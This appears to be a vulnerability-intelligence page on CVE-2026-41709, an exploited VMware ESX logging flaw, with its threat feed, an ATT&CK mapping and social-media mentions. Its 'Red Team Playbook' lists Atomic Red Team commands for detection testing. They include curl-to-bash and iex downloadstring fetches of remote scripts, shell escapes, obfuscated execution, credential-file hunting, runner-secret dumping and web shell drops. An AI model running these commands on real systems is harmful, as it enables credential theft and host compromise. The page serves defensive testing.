CVE-2026-41709

LOW CISA KEV Pub 30/07 Upd 29/10

Vulnerability Description

VMware ESX contains an insufficient logging vulnerability. A malicious administrator could exploit this issue to perform certain operations without them being logged.

EPSS vs KEV Prediction — Evolution (30 days)

Affected Products

No CPE information available.

Exploits

No exploits found for this CVE.

Exploited in Wild CONFIRMED
Ransomware NOT ASSOCIATED
Attacker Interest VERY HIGH
Sightings Considerable activity

Threat Feed

7 events
2026-11-02
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-31
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-10-30
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-29
Threat Sensor Sighting — Considerable activity

Sighting activity recorded

2026-10-28
Threat Sensor Sighting — Some sightings

Sighting activity recorded

2026-10-28
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

Detected as Exploited in the Wild (77 sightings)

Active exploitation confirmed with 77 sighting(s)

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
62% auth_bypass
Privilege Escalation
52% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

59 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell) 
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD) 
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell) 
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD) 
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell) 
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell) 
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell) 
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash) 
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell) 
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash) 
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell) 
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell) 
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell) 
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell) 
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell) 
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell) 
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell) 
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell) 
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell) 
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell) 
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell) 
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell) 
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell) 
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell) 
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell) 
cat /etc/shells
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell) 
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD) 
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access Drone CI Config File Linux, macOS Shell
Find Drone CI configuration files (.drone.yml), which may contain credentials, secrets, or sensitive environment variables used in Drone CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Gitlab CI Config File Linux, macOS Shell
Find GitLab CI configuration files (.gitlab-ci.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Jenkinsfile Linux, macOS Shell
Find Jenkinsfiles, which may contain credentials, secrets, or sensitive environment variables used in Jenkins CI/CD pipelines.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access Travis CI Config File Linux, macOS Shell
Find Travis CI configuration files (.travis.yml), which may contain credentials, secrets, or sensitive environment variables.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD) 
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Dump GitHub Actions Runner Environment Variables from procfs Linux Bash
Locates GitHub Actions runner processes (Runner.Worker, Runner.Listener, runsvc, run.sh) and reads their environment variables from /proc/<pid>/environ, filtering for keys containing "env" or "ssh". This mirrors TeamPCP malware behavior that harvests credentials and secrets...
Command (Bash) 
for pid in $(pgrep -f 'Runner.Worker|Runner.Listener|runsvc|run.sh' 2>/dev/null); do tr '\0' '\n' < /proc/$pid/environ 2>/dev/null | grep -iE 'env|ssh'; done
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash) 
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell) 
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell) 
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find .env Files Containing Application Credentials Linux, macOS Shell
Searches common web application and service directories for .env files (.env, .env.local, .env.production, .env.development, .env.staging) that may contain credentials such as API keys, database passwords, and service secrets. Adversaries targeting web servers or...
Command (Shell) 
find #{file_path} -maxdepth 6 -name "#{filename}" -type f #{optional_flags} 2>/dev/null
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.aws/#{filename}' -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.azure/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Docker credentials Linux, macOS Shell
Find local Docker credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.docker/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path} -path '*/.config/gcloud/#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find HashiCorp Vault token files Linux, macOS Shell
Find HashiCorp Vault token files (~/.vault-token), which contain plaintext Vault tokens that grant access to secrets stored in Vault.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes cluster configuration files Linux Shell Privileged
Find Kubernetes configuration files requiring root privileges, including the root user kubeconfig (~/.kube/config) and cluster-level configuration files in /etc/kubernetes/. These files contain API server addresses, client certificates, and bearer tokens that grant access to...
Command (Shell) 
find /root -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
find /etc/kubernetes -name '*.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 Find Kubernetes user configuration files Linux, macOS Shell
Find Kubernetes user configuration files (~/.kube/config), which contain API server addresses, client certificates, and bearer tokens that grant access to the Kubernetes cluster. Defaults to using / as the search path.
Command (Shell) 
find #{file_path} -path '*/.kube/config' -type f #{optional_flags} 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell) 
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find Terraform credential files Linux, macOS Shell
Find Terraform credential files which may contain sensitive values such as API keys, passwords, and infrastructure secrets. Searches for both terraform.tfvars and terraform.tfstate.
Command (Shell) 
for filename in #{filenames}; do find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null; done
T1552.001 Find and Access Github Credentials Linux, macOS Shell
Find .netrc files, which store GitHub credentials in clear text, and dump their contents if found.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find database credential files Linux, macOS Shell
Find user-level database credential files. Examples include ~/.pgpass, ~/.my.cnf, and ~/.mongorc.js.
Command (Shell) 
for filename in #{filenames}; do
  find #{file_path} -name "$filename" -type f #{optional_flags} 2>/dev/null
done
T1552.001 Find npm registry credential files Linux, macOS Shell
Find .npmrc files, which may contain plaintext npm registry authentication tokens.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 Find system database configuration files Linux Shell Privileged
Find system-level database configuration files (/etc/mysql/my.cnf, /etc/redis/redis.conf) which may contain credentials. Requires root privileges.
Command (Shell) 
find /etc/mysql -name 'my.cnf' -type f #{optional_flags} 2>/dev/null
find /etc/redis -name 'redis.conf' -type f #{optional_flags} 2>/dev/null
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD) 
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell) 
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 Search for Git Credential Files Linux, macOS Shell
Searches the specified directory for a git credential file, which may contain plaintext credentials, access tokens, or credential helper configurations. Example files include .git-credentials and .gitconfig.
Command (Shell) 
find #{file_path} -name '#{filename}' -type f #{optional_flags} 2>/dev/null
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell) 
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

Mentions (50)

103 mentions from 65 sources in the last 7 days BuzzFactor 100 / 100

  • social bsky.app @aiuto-ch.bsky.social 2026-11-02 15:53 UTC
    CISA KEV | CVE-2026-41709 | Broadcom / VMware ESX CISA lists this vulnerability as exploited in the wild. Check affected products and vendor guidance. Source: CISA KEV Full analysis: https://t.me/aiutocomputerhelp_lab/1361
    Open source
  • social bsky.app @infonewscyber.bsky.social 2026-11-02 08:09 UTC
    2/5 ⚠️ CVE-2026-41709 activement exploitée : journalisation insuffisante dans Broadcom VMware ESX 🔗 https://infonewscyber.fr/info/cve-2026-41709-activement-exploitee-journalisation-insuffisante-dans-b-ce69bcf7884bda05
    Open source
  • social bsky.app @patrickcmiller.bsky.social 2026-11-02 06:42 UTC
    Chinese Hackers Quietly Used Low-Severity ESXi Logging Flaw as Zero-Day www.securityweek.com/chinese-hack...
    Open source
  • news tech-insider.org 2026-11-02 03:24 UTC
    CVE-2026-41709: VMware ESX CVSS 2.7 Zero-Day [2026] - https://tech-insider.org/
    Open source
  • social bsky.app @undercode.bsky.social 2026-11-01 20:15 UTC
    Critical CISA Alert: Active Exploitation of VMware ESX and Linux Kernel Fragnesia Vulnerabilities Threatens Enterprise Server Infrastructure Introduction: Recent emergency warnings from the Cybersecurity and Infrastructure Security Agency…
    Open source
  • social bsky.app @ur-echosphere.bsky.social 2026-11-01 12:49 UTC
    CrowdStrikeは、WARP PANDAが2026年初頭にもこの欠陥をゼロデイとして悪用していたと報告。CISAは10月28日に悪用確認済み一覧へ登録しています。💎 https://www.crowdstrike.com/en-us/blog/crowdstrike-2026-legal-threat-landscape-report/ https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field…
    Open source
  • social bsky.app @ur-echosphere.bsky.social 2026-11-01 12:49 UTC
    ログを消さずに、痕跡を減らす穴。 VMware ESXのCVE-2026-41709。管理者が一部の操作をログに残さず実行できる欠陥で、Broadcom評価はCVSS 2.7。💎 未認証で入れる穴ではありません。入った後の行動を、見えにくくする穴です。 https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/38017
    Open source
  • social bsky.app @kotosecurity.bsky.social 2026-10-31 22:00 UTC
    Also critical: VMware ESX zero-day CVE-2026-41709 (Warp Panda) reduces audit trail visibility in legal-sector espionage. CISA KEV added Oct 28; federal agencies must patch by Nov 11. #ThreatIntel
    Open source
  • social bsky.app @kotosecurity.bsky.social 2026-10-31 21:49 UTC
    Also critical: VMware ESX zero-day CVE-2026-41709 (Warp Panda) reduces audit trail visibility in legal-sector espionage. CISA KEV added Oct 28; federal agencies must patch by Nov 11. #ThreatIntel
    Open source
  • social bsky.app @z3usalmighty.bsky.social 2026-10-31 13:15 UTC
    CISA set a Nov 11 fix deadline for CVE-2026-41709. It's an insufficient logging flaw, not a remote code execution headline. When Warp Panda bypasses audit logging and registers rogue MFA devices, detection coverage is part of the patch win…
    Open source
  • social bsky.app @kotosecurity.bsky.social 2026-10-31 12:57 UTC
    Also critical: VMware ESX zero-day CVE-2026-41709 (Warp Panda) reduces audit trail visibility in legal-sector espionage. CISA KEV added Oct 28; federal agencies must patch by Nov 11. #ThreatIntel
    Open source
  • news shattered.io 2026-10-31 03:56 UTC
    ESX Zero-Day CVE-2026-41709: CVSS 2.7 & KEV Listed [2026] - shattered.io
    Open source
  • social bsky.app @hacker.at.thenote.app 2026-10-30 19:13 UTC
    Chinese hackers used VMware ESX zero-day; PHP2Shell and Fragnesia chained to root firewalls China-nexus threat actors have exploited a VMware ESX zero-day to hide their tracks and chained PHP2Shell flaws with the “Fragnesia” Linux kernel b…
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  • social bsky.app @vulnerabilityinstitute.org 2026-10-30 19:05 UTC
    Should You Patch ESXi CVE-2026-41709 First? #VulnerabilityManagement #infosec
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  • social bsky.app @netsecio.bsky.social 2026-10-30 18:15 UTC
    CISA warns of exploited VMware ESXi flaw (CVE-2026-41709). Despite a low CVSS, Chinese APT Warp Panda used it as a zero-day to evade detection. #ThreatIntel #APT #VMware #CISA #KEV 🌐 cyber[.]netsecops[.]io
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  • social mastodon.social @115426718704364579 2026-10-30 18:15 UTC
    📰 Chinese APT Exploited Low-Severity VMware Flaw for Stealth CISA warns of exploited VMware ESXi flaw (CVE-2026-41709). Despite a low CVSS, Chinese APT Warp Panda used it as a zero-day to evade detection. # ThreatIntel # APT # VMware # CIS…
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  • social bsky.app @sergioiker.bsky.social 2026-10-30 14:27 UTC
    4/7 🔐 CISA's must-patch list: VMware ESX CVE-2026-41709 (zero-day used by Warp Panda, deadline Nov 11) and Linux "Fragnesia" CVE-2026-46300 (deadline Oct 31, tomorrow). Via Help Net Security.
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  • social bsky.app @thecybermind.co 2026-10-30 14:07 UTC
    (CISA CS-MAN) The Cyber Mind CSUITE Brief: CVE-2026-41709 – Broadcom VMWare ESX Insufficient Logging Vulnerability An executive-level strategic brief analyzing CVE-2026-41709 for CEOs and Boards, focusing on hypervisor governance, regulato…
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  • social bsky.app @samilaiho.com 2026-10-30 13:11 UTC
    China-Linked Hackers Exploited VMware ESX Zero-Day to Reduce Audit Trail Visibility thehackernews.com/2026/10/chin...
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  • social infosec.exchange @beyondmachines1 2026-10-30 13:01 UTC
    Broadcom Patches VMware ESXi Logging Bypass Exploited CISA warns of active exploitation of a logging bypass vulnerability (CVE-2026-41709) that Chinese-linked hackers used as a zero-day to hide their activity during espionage attacks again…
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  • social bsky.app @thecybermind.co 2026-10-30 12:02 UTC
    (CISA TS + SOC) The Cyber Mind TSUITE Brief: CVE-2026-41709 – Broadcom VMWare ESX Insufficient Logging Vulnerability. Technical Response & SOC Investigation Brief An exhaustive technical breakdown of CVE-2026-41709 targeting Broadcom VMwar…
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  • news orcarouter.ai 2026-10-30 11:05 UTC
    CVE-2026-41709: Ein CVSS von 2.7, der Ihre Beweise löscht - OrcaRouter
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  • news orcarouter.ai 2026-10-30 11:05 UTC
    CVE-2026-41709: A CVSS 2.7 That Deletes Your Evidence - OrcaRouter
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  • social infosec.exchange @116391454494696401 2026-10-30 07:05 UTC
    ⚠️ CRITICAL: CISA Adds Two Known Exploited Vulnerabilities to Catalog CISA added two vulnerabilities to the Known Exploited Vulnerabilities catalog: CVE-2026-41709 (Broadcom VMware ESX insufficient logging) and CVE-2026-46300 (Linux kernel…
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  • social bsky.app @kotosecurity.bsky.social 2026-10-30 05:02 UTC
    Also critical: VMware ESX zero-day CVE-2026-41709 (Warp Panda) reduces audit trail visibility in legal-sector espionage. CISA KEV added Oct 28; federal agencies must patch by Nov 11. #ThreatIntel
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  • social bsky.app @hacker.at.thenote.app 2026-10-30 04:19 UTC
    China-Linked Hackers Exploited VMware ESX Zero-Day to Reduce Audit Trail Visibility The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a security flaw impacting Broadcom VMware ESX to its Known Exploited Vu…
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  • social bsky.app @densuke.bsky.social 2026-10-29 22:40 UTC
    更新されたよ、見に来てね!→ Fragnesia が KEV 入り（連邦機関の期限は10月31日）、Anthropic の研究モデルが見つけた脆弱性、Fedora 45 は RC-1.4 で GO、eMudhra の件と GKE の速報 GCP-2026-071、低い評価の ESXi の穴がゼロデイで悪用（2026/10/30 Linux・OSSトレンド） https://blog.fuga.jp/posts/2026-10-30-linux-oss-trend/ #kev…
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  • social bsky.app @securitylab-jp.bsky.social 2026-10-29 22:24 UTC
    CISA、LinuxカーネルとVMware ESXの脆弱性2件をKEV登録 PHP2Shellとの連鎖でroot権限奪取の恐れ rocket-boys.co.jp/security-mea... #セキュリティ対策Lab #security #securitynews #セキュリティ #セキュリティニュース
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  • social bsky.app @theperimetersite.bsky.social 2026-10-29 21:38 UTC
    Something is sitting on your hypervisor, and it's quiet and hiding in plain sight, and it hasn't triggered a single alarm. This is why a lead analyst gets paged at 3am. #vulnerability #infosec
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  • social infosec.exchange @116075764941463905 2026-10-29 20:55 UTC
    🔵 THREAT INTELLIGENCE China-Linked Hackers Exploited VMware ESX Zero-Day to Reduce Audit Trail Visibility Vulnerability | CRITICAL CVEs: CVE-2026-41709 The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a s…
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  • social mastodon.social @116075740208223403 2026-10-29 20:55 UTC
    🔵 THREAT INTELLIGENCE China-Linked Hackers Exploited VMware ESX Zero-Day to Reduce Audit Trail Visibility Vulnerability | CRITICAL CVEs: CVE-2026-41709 The U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Wednesday added a s…
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  • social bsky.app @0daynews.bsky.social 2026-10-29 20:30 UTC
    vmware esxi - cisa adds CVE-2026-41709 (cvss 2.7) logging flaw to kev, linked by crowdstrike to warp panda use. patch and review audit gaps. #infosec https://0daynews.com/articles/2026-10-29-vmware-esxi-cve-2026-41709-logging-flaw-warp-pan…
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  • social bsky.app @threatroundup.bsky.social 2026-10-29 19:58 UTC
    A low-scoring VMware ESX bug let China-linked Warp Panda act on hosts without leaving logs, CrowdStrike says. CISA added CVE-2026-41709 to its exploited list. Update ESX to the July fixes. threatroundup.com/news/vmware-...
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  • social bsky.app @trustlist.bsky.social 2026-10-29 19:53 UTC
    Security advisories 18/37 CISA adds a Linux kernel flaw chained with PHP2Shell and a VMware ESX logging flaw to KEV The Linux kernel ESP page-cache flaw CVE-2026-46300, which CISA says can be chained to plant PHP webshells as root, is due……
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  • social bsky.app @cvemon.bsky.social 2026-10-29 18:59 UTC
    CVE-2026-41709 is trending. Hype score 22, currently #8 on cvemon. VMware ESX contains an insufficient logging vulnerability. A malicious administrator could exploit this issue to perform certain operations without them being logged. https…
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  • social bsky.app @0daynews.bsky.social 2026-10-29 18:30 UTC
    vmware esxi has a low-severity logging flaw (cve-2026-41709) tied to warp panda by crowdstrike, added to cisa kev. patch required by nov 11. #infosec https://0daynews.com/articles/2026-10-29-esxi-logging-flaw-cve-2026-41709-warp-panda-kev/
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  • social bsky.app @alt.pds.lefht.cc 2026-10-29 18:15 UTC
    4. CVE-2026-41709 · 24 people 🔥 🟩 Low 2.7 · VMware Cloud Foundation VMware ESX contains an insufficient logging vulnerability. A malicious administrator could exploit this issue to perform certain operations without them being logged.
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  • social bsky.app @alt.pds.lefht.cc 2026-10-29 18:15 UTC
